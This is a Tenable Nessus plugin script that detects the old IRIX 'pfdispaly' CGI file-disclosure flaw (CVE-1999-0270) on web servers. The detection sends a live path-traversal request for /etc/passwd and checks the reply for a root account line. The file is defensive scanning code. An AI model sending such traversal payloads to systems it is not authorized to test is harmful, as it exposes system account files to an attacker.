| code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if(description)
{
script_id(10174);
script_version ("1.30");
script_cvs_date("Date: 2018/08/13 14:32:36");
script_cve_id("CVE-1999-0270");
script_name(english:"IRIX pfdispaly Arbitrary File Access");
script_set_attribute(attribute:"synopsis", value:
"It may be possible to read arbitrary files from the remote
system." );
script_set_attribute(attribute:"description", value:
"The 'pfdispaly' CGI is installed. This CGI has a well known
security flaw that lets an attacker read arbitrary files
with the privileges of the http daemon (usually root or nobody)." );
script_set_attribute(attribute:"solution", value:
"Remove it from /cgi-bin." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
script_set_attribute(attribute:"plugin_publication_date", value: "1999/06/22");
script_set_attribute(attribute:"vuln_publication_date", value: "1998/04/02");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_summary(english: "Checks for the presence of /cgi-bin/pfdispaly");
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
script_family(english: "CGI abuses");
script_dependencie("http_version.nasl", "no404.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
exit(0);
}
#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
foreach dir (cgi_dirs())
{
foreach cgi (make_list("pfdispaly", "pfdispaly.cgi"))
{
r = http_send_recv3(method: 'GET', item: strcat(dir, "/", cgi, "?../../../../../../etc/passwd"), port:port);
if (isnull(r)) exit(0);
if (egrep(pattern:".*root:.*:0:[01]:.*", string:r[2]))
{
security_hole(port);
exit(0);
}
}
}
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